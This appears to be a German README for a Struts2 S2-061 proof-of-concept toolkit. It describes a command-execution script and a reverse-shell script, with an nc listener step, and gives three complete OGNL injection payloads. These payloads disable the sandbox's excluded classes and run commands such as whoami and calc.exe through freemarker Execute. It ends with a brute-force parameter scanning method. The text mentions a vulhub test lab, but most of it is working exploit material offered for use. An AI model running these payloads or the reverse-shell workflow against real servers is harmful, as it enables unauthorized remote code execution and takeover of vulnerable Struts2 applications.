
Payload für S2-061 sowie das entsprechende einfache PoC/Exp
S2-061
Die Skripte wurden alle auf Basis der Struts2-059/061-Schwachstellen-Testumgebung von vulhub geschrieben und sind nicht allgemeingültig. Für Hinweise von Profis bin ich dankbar.
struts2-061-poc.py (kann einfache Systembefehle ausführen)
Verwendung: python struts2-061-poc.py http://ip:port command
Beispiel: python struts2-061-poc.py http://192.168.0.7:8080 whoami
S2-061-shell.py (kann eine Reverse-Shell erzeugen)
Verwendung:
Zuerst auf Maschine A einen bestimmten Port abhören (z. B.: nc -lvvp 7777)
Skript ausführen: python2 S2-061-shell.py target_url, wobei target_url die Adresse der verwundbaren Umgebung ist, im Format http://ip:port
Gemäß den Skript-Hinweisen die IP von Maschine A und den abgehörten Port eingeben; anschließend erhält man im Listener-Fenster von Maschine A eine Shell.
Im Folgenden sind einige Payloads, die von Profis entwickelt wurden:
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("whoami")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
Vollständiger Analyse-Artikel: https://mp.weixin.qq.com/s?__biz=Mzg2NjQ2NzU3Ng==&mid=2247485921&idx=1&sn=096e61db21281c6392c6b7d8c70fe458
%{(#application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#application.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#application.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +(#application.map2.setBean(#application.get('map').get('context')) == true).toString().substring(0,0) + (#application.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#application.map3.setBean(#application.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#application.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#application.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}))}
%{(#request.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#request.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) + (#request.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'whoami'}))}
Hinweis: Bitte codieren Sie die oben genannten OGNL-Codes mit URL-Encoding, bevor Sie sie im Tool verwenden.
In den neuen Versionen von Struts2 ist es nicht mehr möglich, OGNL-Ausdrücke über die Parameterkonstruktion auszuwerten. Wenn man also ein Skript verwenden möchte, um im Batch zu scannen, ob diese Schwachstelle vorliegt, kann man einfach alle Parameter per Brute-Force durchprobieren und anschließend prüfen, ob die Seite den erwarteten Ergebnistext enthält.
z. B.:
%{ 'gcowsec-' + (2000 + 20).toString()}
Voraussichtlich erhält man:
gcowsec-2020
Es genügt, mit dem Skript zu prüfen, ob das Ergebnis diesen Text enthält.